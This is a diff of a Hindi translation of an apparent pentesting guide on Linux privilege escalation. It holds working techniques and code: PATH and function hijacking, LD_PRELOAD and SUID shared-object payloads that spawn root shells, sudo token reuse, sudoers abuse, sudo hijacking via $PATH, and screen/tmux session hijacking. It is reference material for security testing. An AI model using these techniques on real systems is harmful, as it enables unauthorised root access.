करने वाले पथ -**Jump** अन्य फ़ाइलें पढ़ने के लिए या **symlinks** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** करके अन्य फ़ाइलें पढ़ें या **symlinks** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -756,46 +755,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -यदि कोई **wildcard** (\*) इस्तेमाल किया गया हो, तो यह और भी आसान है: +यदि एक **wildcard** उपयोग किया जाता है (\*), तो यह और भी आसान है: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **निवारक उपाय**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Sudo command/SUID binary बिना command path -यदि **sudo permission** किसी एक कमांड को **path निर्दिष्ट किए बिना** दिया गया है: _hacker10 ALL= (root) less_ तो आप PATH variable बदलकर इसे exploit कर सकते हैं। +यदि **sudo permission** एक single command को **path निर्दिष्ट किए बिना** दिया गया है: _hacker10 ALL= (root) less_ तो आप इसे PATH variable बदलकर exploit कर सकते हैं। ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -यह तकनीक तब भी उपयोग की जा सकती है यदि कोई **suid** binary **किसी अन्य command को बिना path बताए execute करता है (हमेशा अजीब SUID binary की सामग्री को _**strings**_ से जांचें)**। +यह तकनीक तब भी उपयोग की जा सकती है अगर एक **suid** binary **कोई अन्य कमांड बिना उसके path को निर्दिष्ट किए execute करता है (हमेशा _**strings**_ से उस अजीब SUID binary की सामग्री की जाँच करें)**। [Payload examples to execute.](payloads-to-execute.md) -### SUID binary जिसमें command path दिया हो +### SUID binary जिसमें कमांड का path निर्दिष्ट हो -यदि **suid** binary **किसी अन्य command को path बताकर execute करता है**, तो आप उस command के नाम की **function** बनाकर और उसे **export** करके कोशिश कर सकते हैं जिसे suid file कॉल कर रहा है। +यदि **suid** binary **path निर्दिष्ट करते हुए कोई अन्य कमांड execute करता है**, तो आप उस कमांड के नाम से एक **फ़ंक्शन export** करने की कोशिश कर सकते हैं जिसे suid file कॉल कर रहा है। -उदाहरण के लिए, यदि एक suid binary calls _**/usr/sbin/service apache2 start**_ तो आपको उस command के नाम की function बनाने और उसे export करने की कोशिश करनी होगी: +उदाहरण के लिए, यदि एक suid binary _**/usr/sbin/service apache2 start**_ को कॉल करता है तो आपको उस फ़ंक्शन को बनाकर export करने की कोशिश करनी होगी: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -फिर, जब आप suid binary को कॉल करते हैं, यह function निष्पादित होगा +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable का उपयोग loader द्वारा अन्य सभी लाइब्रेरियों से पहले एक या अधिक shared libraries (.so files) को लोड करने के लिए किया जाता है, जिनमें standard C library (`libc.so`) भी शामिल है। इस प्रक्रिया को library preloading कहा जाता है। +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -हालाँकि, system security बनाए रखने और इस फीचर के exploitation को रोकने के लिए, विशेष रूप से **suid/sgid** executables के साथ, सिस्टम कुछ शर्तें लागू करता है: +हालाँकि, सिस्टम की सुरक्षा बनाए रखने और इस सुविधा के शोषण को रोकने के लिए, विशेषकर **suid/sgid** executables के साथ, सिस्टम कुछ शर्तें लागू करता है: -- loader उन executables के लिए **LD_PRELOAD** को अनदेखा कर देता है जहाँ real user ID (_ruid_) और effective user ID (_euid_) मेल नहीं खाते। -- suid/sgid वाले executables के लिए, केवल standard paths में मौजूद और स्वयं suid/sgid वाले libraries ही preload होते हैं। +- लोडर उन executables के लिए **LD_PRELOAD** को अनदेखा करता है जहाँ real user ID (_ruid_) और effective user ID (_euid_) मेल नहीं खाते। +- suid/sgid वाले executables के लिए, केवल standard paths में मौजूद और जो खुद भी suid/sgid हों, वही libraries preload की जाती हैं। -Privilege escalation तब हो सकती है जब आपके पास `sudo` के साथ commands execute करने की क्षमता हो और `sudo -l` के output में **env_keep+=LD_PRELOAD** स्टेटमेंट शामिल हो। यह configuration **LD_PRELOAD** environment variable को तब भी बनाए रखने और मान्यता देने की अनुमति देता है जब commands `sudo` के साथ चलाए जाते हैं, जिससे संभावित रूप से elevated privileges के साथ arbitrary code का निष्पादन हो सकता है। +Privilege escalation तब हो सकता है जब आपके पास `sudo` के साथ commands execute करने की क्षमता हो और `sudo -l` के आउटपुट में **env_keep+=LD_PRELOAD** शामिल हो। यह configuration **LD_PRELOAD** environment variable को `sudo` के साथ commands चलाते समय भी बरकरार और मान्यता प्राप्त होने देता है, जिससे संभावित रूप से elevated privileges के साथ arbitrary code का निष्पादन हो सकता है। ``` Defaults env_keep += LD_PRELOAD ``` @@ -812,17 +811,17 @@ setuid(0); system("/bin/bash"); } ``` -फिर **compile it** का उपयोग करके: +फिर **इसे संकलित करें** का उपयोग करके: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -अंत में, **escalate privileges** चलाकर +अंत में, **escalate privileges** चलाएँ ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> एक समान privesc का दुरुपयोग किया जा सकता है अगर attacker **LD_LIBRARY_PATH** env variable को नियंत्रित करता है, क्योंकि वह उस path को नियंत्रित करता है जहाँ libraries खोजी जाएँगी। +> एक समान privesc दुरुपयोग किया जा सकता है यदि attacker **LD_LIBRARY_PATH** env variable को नियंत्रित करता है, क्योंकि वह उन path को नियंत्रित करता है जहाँ libraries खोजी जाएँगी। ```c #include #include @@ -844,13 +843,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -जब किसी बाइनरी में **SUID** permissions हों और वह असामान्य लगे, तो यह अच्छा अभ्यास है कि यह जांचें कि क्या वह ठीक से **.so** फाइलें लोड कर रहा है। इसे निम्न कमांड चलाकर चेक किया जा सकता है: +जब किसी ऐसे binary का सामना हो जिसके पास असामान्य **SUID** permissions हों, तो यह अच्छी प्रैक्टिस है यह जाँचना कि वह **.so** files सही ढंग से load कर रहा है या नहीं। इसे निम्नलिखित command चलाकर जाँच किया जा सकता है: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ जैसी त्रुटि मिलने पर संभावित exploitation का संकेत मिलता है। +उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ जैसी त्रुटि मिलने पर exploitation की संभावना संकेतित होती है। -इसे exploit करने के लिए, आप एक C फ़ाइल बनाएँगे, मान लें _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा: +इसे exploit करने के लिए, एक C फ़ाइल बनाकर आगे बढ़ें, उदाहरण के लिए _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित code होगा: ```c #include #include @@ -861,13 +860,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -यह code, एक बार compile और execute होने पर, file permissions को manipulate करके और elevated privileges के साथ shell को execute करके privileges बढ़ाने का लक्ष्य रखता है। +यह code, एक बार compiled और executed हो जाने पर, file permissions को manipulate करके और elevated privileges के साथ एक shell execute करके privileges बढ़ाने का लक्ष्य रखता है। -ऊपर दिए गए C file को shared object (.so) file में निम्नानुसार compile करें: +ऊपर दिए गए C file को shared object (.so) file में compile करें: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -अंत में, प्रभावित SUID बाइनरी को चलाने से exploit ट्रिगर हो जाना चाहिए, जिससे संभावित system compromise की अनुमति मिल सकती है। +अंततः, प्रभावित SUID binary को चलाने पर exploit ट्रिगर होना चाहिए, जिससे संभावित system compromise हो सकता है। ## Shared Object Hijacking ```bash @@ -879,7 +878,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -अब जब हमने एक SUID binary पाया है जो ऐसी फ़ोल्डर से लाइब्रेरी लोड कर रहा है जिसमें हम लिख सकते हैं, तो चलिए आवश्यक नाम के साथ उस फ़ोल्डर में लाइब्रेरी बनाते हैं: +अब जब हमने एक SUID binary पाया है जो उस folder से एक library लोड कर रहा है जहाँ हम लिख सकते हैं, तो आइए उस folder में आवश्यक नाम के साथ library बनाते हैं: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -892,17 +891,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -यदि आपको इस तरह की त्रुटि मिलती है +यदि आपको निम्नलिखित जैसी त्रुटि मिलती है ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -इसका मतलब है कि आपने जो लाइब्रेरी जनरेट की है उसमें `a_function_name` नाम का एक फ़ंक्शन होना चाहिए। +इसका मतलब है कि आपने जो library जनरेट की है उसमें `a_function_name` नाम का एक function होना चाहिए। ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) Unix binaries की एक क्यूरेटेड सूची है जिन्हें attacker द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए exploit किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहाँ आप **केवल arguments inject** कर सकते हैं किसी command में। +[**GTFOBins**](https://gtfobins.github.io) Unix binaries की एक curated सूची है जिसे attacker द्वारा local security restrictions को bypass करने के लिए exploit किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) समान है लेकिन उन मामलों के लिए जहाँ आप एक command में **only inject arguments** कर सकते हैं। -यह project Unix binaries के legitimate functions को इकट्ठा करता है जिन्हें abuse करके restricted shells से बाहर निकलना, privileges escalate या बनाए रखना, files transfer करना, bind और reverse shells spawn करना और अन्य post-exploitation tasks को आसान बनाना संभव है। +यह project Unix binaries के legitimate functions को इकट्ठा करता है जिन्हें abuse करके restricted shells से break out करना, elevated privileges को escalate या maintain करना, files transfer करना, bind और reverse shells spawn करना, और अन्य post-exploitation tasks को सहूलियत देना संभव होता है। > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,50 +920,51 @@ https://gtfoargs.github.io/ ### FallOfSudo -यदि आप `sudo -l` तक पहुँच सकते हैं, तो आप टूल [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि यह किसी भी sudo नियम को exploit करने का तरीका ढूंढता है या नहीं। +यदि आप `sudo -l` तक पहुँच सकते हैं तो आप tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि क्या यह किसी sudo rule को exploit करने का तरीका ढूँढता है। -### Reusing Sudo Tokens +### Sudo Tokens का पुनः उपयोग -ऐसे मामलों में जहाँ आपके पास **sudo access** है लेकिन password नहीं है, आप privileges escalate कर सकते हैं **एक sudo command के execution का इंतजार करके और फिर session token को hijack करके**। +ऐसे मामलों में जहाँ आपके पास **sudo access** तो है पर password नहीं है, आप privileges escalate कर सकते हैं **waiting for a sudo command execution and then hijacking the session token**। -Requirements to escalate privileges: +Privileges escalate करने की आवश्यकताएँ: -- आपके पास पहले से shell होना चाहिए user "_sampleuser_" के रूप में -- "_sampleuser_" ने **`sudo` का उपयोग** करके कुछ execute किया होना चाहिए **पिछले 15mins** में (default में यही sudo token की अवधि है जो हमें `sudo` का उपयोग बिना password दिए करने देती है) -- `cat /proc/sys/kernel/yama/ptrace_scope` 0 होना चाहिए -- `gdb` accessible होना चाहिए (आप इसे upload कर पाने में सक्षम होने चाहिए) +- आपके पास पहले से user "_sampleuser_" के रूप में एक shell होना चाहिए +- "_sampleuser_" ने हाल ही में **`sudo` का उपयोग किया होना चाहिए** किसी चीज़ को execute करने के लिए, यानी **last 15mins** के भीतर (डिफ़ॉल्ट रूप से यही sudo token की अवधि होती है जो हमें `sudo` बिना password डाले उपयोग करने की अनुमति देती है) +- `cat /proc/sys/kernel/yama/ptrace_scope` का मान 0 होना चाहिए +- `gdb` उपलब्ध होना चाहिए (आप इसे अपलोड करने में सक्षम हो सकते हैं) -(आप अस्थायी रूप से `ptrace_scope` को `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` के साथ enable कर सकते हैं या स्थायी रूप से `/etc/sysctl.d/10-ptrace.conf` को modify करके और `kernel.yama.ptrace_scope = 0` सेट करके) +(आप अस्थायी रूप से `ptrace_scope` को सक्षम कर सकते हैं: `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` या स्थायी रूप से `/etc/sysctl.d/10-ptrace.conf` को संशोधित करके और `kernel.yama.ptrace_scope = 0` सेट करके) -यदि ये सभी आवश्यकताएँ पूरी हो जाती हैं, **आप निम्न का उपयोग करके privileges escalate कर सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +यदि ये सभी शर्तें पूरी हैं, तो **आप निम्नलिखित का उपयोग करके privileges escalate कर सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- पहला **exploit** (`exploit.sh`) binary `activate_sudo_token` को _/tmp_ में बनाएगा। आप इसका उपयोग अपने session में **sudo token activate करने के लिए** कर सकते हैं (आपको स्वतः ही root shell नहीं मिलेगा, `sudo su` करें): +- The **first exploit** (`exploit.sh`) _/tmp_ में binary `activate_sudo_token` बनाएगा। आप इसका उपयोग अपनी session में **sudo token activate करने के लिए** कर सकते हैं (आपको स्वचालित रूप से root shell नहीं मिलेगा, `sudo su` करें): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- यह **second exploit** (`exploit_v2.sh`) _/tmp_ में एक sh shell बनाएगा जो **root के स्वामित्व में और setuid के साथ** +- यह **दूसरा exploit** (`exploit_v2.sh`) _/tmp_ में एक sh shell बनाएगा जो **root द्वारा owned और setuid के साथ** होगा ```bash bash exploit_v2.sh /tmp/sh -p ``` -- यह **तीसरा exploit** (`exploit_v3.sh`) **sudoers file बनाएगा** जो **sudo tokens को स्थायी बना देता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है** +- यह **तीसरा exploit** (`exploit_v3.sh`) **एक sudoers फ़ाइल बनाएगा** जो **sudo tokens को स्थायी बना देगा और सभी उपयोगकर्ताओं को sudo उपयोग करने की अनुमति देगा** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -यदि आपके पास उस फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर लिखने की अनुमति है, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **किसी user और PID के लिए sudo token बना** सकते हैं.\ -उदाहरण के लिए, अगर आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को overwrite कर सकते हैं और उस user के रूप में आपके पास PID 1234 वाला shell है, तो आप पासवर्ड जाने बिना निम्नलिखित करके **sudo privileges** प्राप्त कर सकते हैं: +यदि आपके पास उस फ़ोल्डर में या फ़ोल्डर के भीतर बनाए गए किसी भी फ़ाइल पर **write permissions** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **create a sudo token for a user and PID** कर सकते हैं।\ + +उदाहरण के लिए, यदि आप फाइल _/var/run/sudo/ts/sampleuser_ को overwrite कर सकते हैं और आपके पास उस user के रूप में PID 1234 के साथ shell है, तो आप पासवर्ड जाने बिना **obtain sudo privileges** कर सकते हैं, ऐसा करके: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -फ़ाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फ़ाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे।\ -**यदि** आप इस फ़ाइल को **पढ़** सकते हैं तो आप **कुछ रोचक जानकारी प्राप्त कर सकते हैं**, और यदि आप किसी भी फ़ाइल को **लिख** सकते हैं तो आप **escalate privileges** कर पाएंगे। +The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. ये फ़ाइलें **डिफ़ॉल्ट रूप से केवल user root और group root द्वारा ही पढ़ी जा सकती हैं**.\ +**यदि** आप इस फ़ाइल को **पढ़** सकते हैं तो आप **कुछ रोचक जानकारी प्राप्त** कर सकेंगे, और यदि आप किसी भी फ़ाइल को **लिख** सकते हैं तो आप **escalate privileges** कर पाएंगे। ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -983,17 +983,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` बाइनरी के कुछ विकल्प हैं, जैसे OpenBSD के लिए `doas`; इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें। +`sudo` बाइनरी के कुछ विकल्प हैं, जैसे OpenBSD के लिए `doas`। इसकी कॉन्फ़िगरेशन `/etc/doas.conf` में जाँचना न भूलें। ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -यदि आप जानते हैं कि **user आमतौर पर किसी machine से कनेक्ट होता है और `sudo` का उपयोग करता है** और आपने उस user context में एक shell हासिल कर लिया है, तो आप **create a new sudo executable** कर सकते हैं जो पहले आपकी code को root के रूप में चलाएगा और फिर user के कमांड को चलाएगा। फिर, user context का **$PATH** modify करें (उदाहरण के लिए नया path `.bash_profile` में जोड़कर) ताकि जब user `sudo` चलाए तो आपका sudo executable executed हो। +If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. -ध्यान दें कि यदि user कोई अलग shell (bash नहीं) उपयोग करता है तो नया path जोड़ने के लिए आपको अन्य files modify करनी पड़ेंगी। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. आप एक और उदाहरण [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में पा सकते हैं। +ध्यान दें कि अगर user कोई अलग shell (bash नहीं) उपयोग करता है तो नई path जोड़ने के लिए आपको अन्य files संशोधित करनी होंगी। उदाहरण के लिए [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को modify करता है। आप एक और उदाहरण [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में पा सकते हैं -या कुछ इस तरह चलाना: +या कुछ इस तरह चलाकर: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib को `/var/tmp/flag15/` में कॉपी करने पर इसे प्रोग्राम द्वारा उसी स्थान पर उपयोग किया जाएगा जैसा कि `RPATH` वेरिएबल में निर्दिष्ट है। +lib को `/var/tmp/flag15/` में कॉपी करने पर, यह प्रोग्राम द्वारा `RPATH` वेरिएबल में निर्दिष्ट उसी स्थान से उपयोग किया जाएगा। ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1043,7 +1043,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -फिर `/var/tmp` में `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` का उपयोग करके एक evil library बनाएं। +फिर `/var/tmp` में एक evil library बनाएं `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` के साथ ```c #include #define SHELL "/bin/sh" @@ -1056,26 +1056,26 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## क्षमताएँ +## Capabilities -Linux capabilities प्रोसेस को उपलब्ध root privileges का एक **subset** प्रदान करती हैं। यह प्रभावी रूप से root **privileges को छोटे और विशिष्ट इकाइयों में विभाजित** कर देता है। इनमें से प्रत्येक इकाई को स्वतंत्र रूप से processes को दिया जा सकता है। इस तरह privileges का पूरा सेट कम हो जाता है, जिससे exploitation के जोखिम घटते हैं।\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linux capabilities एक प्रोसेस को उपलब्ध root privileges का **एक उपसमूह प्रदान करते हैं**। यह प्रभावी रूप से root **privileges को छोटे और विशिष्ट इकाइयों में विभाजित कर देता है**। इन इकाइयों में से प्रत्येक को फिर स्वतंत्र रूप से प्रक्रियाओं को प्रदान किया जा सकता है। इस तरह पूरे privileges का सेट कम हो जाता है, जिससे exploitation का जोखिम घटता है।\ +अधिक जानने के लिए निम्नलिखित पेज पढ़ें कि **capabilities क्या हैं और इन्हें कैसे abuse किया जा सकता है**: {{#ref}} linux-capabilities.md {{#endref}} -## डायरेक्टरी अनुमतियाँ +## Directory permissions -एक directory में, **bit for "execute"** का अर्थ है कि प्रभावित user उस फ़ोल्डर में "**cd**" कर सकता है।\ -**"read"** बिट का अर्थ है कि user फ़ाइलों को **list** कर सकता है, और **"write"** बिट का अर्थ है कि user फ़ाइलों को **delete** और **create** कर सकता है। +डायरेक्टरी में, **bit for "execute"** का अर्थ है कि प्रभावित user फोल्डर में "**cd**" कर सकता है।\ +**"read"** bit का मतलब है कि user **list** कर सकता है **files**, और **"write"** bit का मतलब है कि user **delete** और **create** कर सकता है नए **files**। ## ACLs -Access Control Lists (ACLs) डिस्क्रीशनरी permissions की secondary layer को दर्शाते हैं, जो पारंपरिक ugo/rwx permissions को **overriding** करने में सक्षम हैं। ये permissions file या directory access पर नियंत्रण बढ़ाते हैं क्योंकि ये मालिक नहीं या समूह का हिस्सा नहीं होने वाले specific users को अधिकार देने या नकारने की अनुमति देते हैं। यह स्तर **granularity सुनिश्चित करता है कि access management अधिक सटीक हो**। Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) डिस्क्रीशनलरी permissions की सेकेंडरी लेयर का प्रतिनिधित्व करते हैं, जो पारंपरिक ugo/rwx permissions को **override** करने में सक्षम है। ये permissions फाइल या डायरेक्टरी एक्सेस पर नियंत्रण बढ़ाते हैं, उन विशिष्ट users को अधिकार देने या न देने की अनुमति देकर जो owner नहीं हैं या समूह का हिस्सा नहीं हैं। इस स्तर की **granularity अधिक सटीक access management सुनिश्चित करती है**। Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" को किसी file पर read और write permissions दें: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1086,10 +1086,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## खुले shell sessions +## Open shell sessions -**पुराने संस्करणों** में आप किसी अन्य user (**root**) के किसी **shell** session को **hijack** कर सकते हैं.\ -**नवीनतम संस्करणों** में आप केवल अपने **user** के screen sessions से ही **connect** कर पाएंगे। हालांकि, आप **session के अंदर रोचक जानकारी** पा सकते हैं। +पुराने संस्करणों में आप किसी अलग उपयोगकर्ता (**root**) के कुछ **shell** session को **hijack** कर सकते हैं. +नए संस्करणों में आप केवल अपने ही **your own user** के **screen** sessions से ही **connect** कर पाएँगे। हालांकि, आप session के अंदर **interesting information** पा सकते हैं। ### screen sessions hijacking @@ -1108,9 +1108,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -यह समस्या **पुराने tmux संस्करणों** के साथ थी। मैं एक गैर-प्रिविलेज्ड उपयोगकर्ता के रूप में root द्वारा बनाया गया tmux (v2.1) session hijack करने में सक्षम नहीं था। +यह समस्या **old tmux versions** के साथ थी। मैं एक tmux (v2.1) session को, जो root द्वारा बनाया गया था, एक non-privileged user के रूप में hijack नहीं कर पाया। -**tmux sessions सूचीबद्ध करें** +**tmux sessions सूची करें** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1118,7 +1118,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**एक session से जुड़ें** +**किसी session से जुड़ें** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1134,42 +1134,42 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +सभी SSL और SSH keys जो Debian based systems (Ubuntu, Kubuntu, etc) पर September 2006 और May 13th, 2008 के बीच जनरेट हुई थीं, इस बग से प्रभावित हो सकती हैं.\ +यह बग उन OS में नया ssh key बनाते समय होता है, क्योंकि **केवल 32,768 संभावित संयोजन संभव थे**. इसका मतलब यह है कि सभी संभावनाएँ गणना की जा सकती हैं और **यदि आपके पास ssh public key है तो आप संबंधित private key खोज सकते हैं**. आप गणना की गई संभावनाएँ यहाँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** यह निर्धारित करता है कि password authentication की अनुमति है या नहीं। डिफ़ॉल्ट `no` है। -- **PubkeyAuthentication:** यह निर्धारित करता है कि public key authentication की अनुमति है या नहीं। डिफ़ॉल्ट `yes` है। -- **PermitEmptyPasswords**: जब password authentication की अनुमति हो, यह निर्धारित करता है कि सर्वर खाली password स्ट्रिंग वाले खाते में login की अनुमति देता है या नहीं। डिफ़ॉल्ट `no` है। +- **PasswordAuthentication:** यह निर्दिष्ट करता है कि password authentication की अनुमति है या नहीं। डिफ़ॉल्ट `no` है। +- **PubkeyAuthentication:** यह निर्दिष्ट करता है कि public key authentication की अनुमति है या नहीं। डिफ़ॉल्ट `yes` है। +- **PermitEmptyPasswords**: जब password authentication की अनुमति हो, यह निर्दिष्ट करता है कि सर्वर खाली password स्ट्रिंग वाले अकाउंट्स में लॉगिन की अनुमति देता है या नहीं। डिफ़ॉल्ट `no` है। ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +यह निर्दिष्ट करता है कि root ssh का उपयोग करके लॉगिन कर सकता है या नहीं, डिफ़ॉल्ट `no` है। संभावित मान: -- `yes`: root password और private key का उपयोग करके login कर सकता है -- `without-password` or `prohibit-password`: root केवल private key से ही login कर सकता है -- `forced-commands-only`: Root केवल private key का उपयोग करके और यदि commands options निर्दिष्ट हों तभी login कर सकता है +- `yes`: root password और private key का उपयोग करके लॉगिन कर सकता है +- `without-password` or `prohibit-password`: root केवल private key के साथ ही लॉगिन कर सकता है +- `forced-commands-only`: Root केवल private key का उपयोग करके और यदि commands विकल्प निर्दिष्ट हों तभी लॉगिन कर सकता है - `no` : नहीं ### AuthorizedKeysFile -यह उन फाइलों को निर्दिष्ट करता है जिनमें वे public keys होती हैं जो user authentication के लिए उपयोग की जा सकती हैं। इसमें `%h` जैसे टोकन हो सकते हैं, जिन्हें home directory से प्रतिस्थापित किया जाएगा। **आप absolute paths** (starting in `/`) **या user के home से relative paths** निर्दिष्ट कर सकते हैं। For example: +यह उन फाइलों को निर्दिष्ट करता है जिनमें वे public keys होते हैं जो user authentication के लिए उपयोग की जा सकती हैं। यह `%h` जैसे tokens रख सकता है, जिन्हें home directory से बदला जाएगा। **आप absolute paths निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होते हैं) या **user के home से relative paths**। उदाहरण के लिए: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -यह configuration संकेत करेगा कि अगर आप उपयोगकर्ता "**testusername**" की **private** key से login करने की कोशिश करते हैं तो ssh आपके key के **public key** की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में मौजूद keys से करेगा। +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding आपको यह अनुमति देता है कि आप **use your local SSH keys instead of leaving keys** (बिना passphrases!) अपने सर्वर पर रखे बिना उपयोग कर सकें। इसलिए, आप ssh के माध्यम से **jump** करके **to a host** पहुँच सकते हैं और वहाँ से दूसरे host पर **jump to another** कर सकते हैं, **using** उस **key** का जो आपके **initial host** पर स्थित है। +SSH agent forwarding आपको अनुमति देता है कि आप **use your local SSH keys instead of leaving keys** (without passphrases!) अपने server पर छोड़ने के बजाय उपयोग कर सकें। इसलिए, आप ssh के माध्यम से **jump** **to a host** कर पाएँगे और वहां से **jump 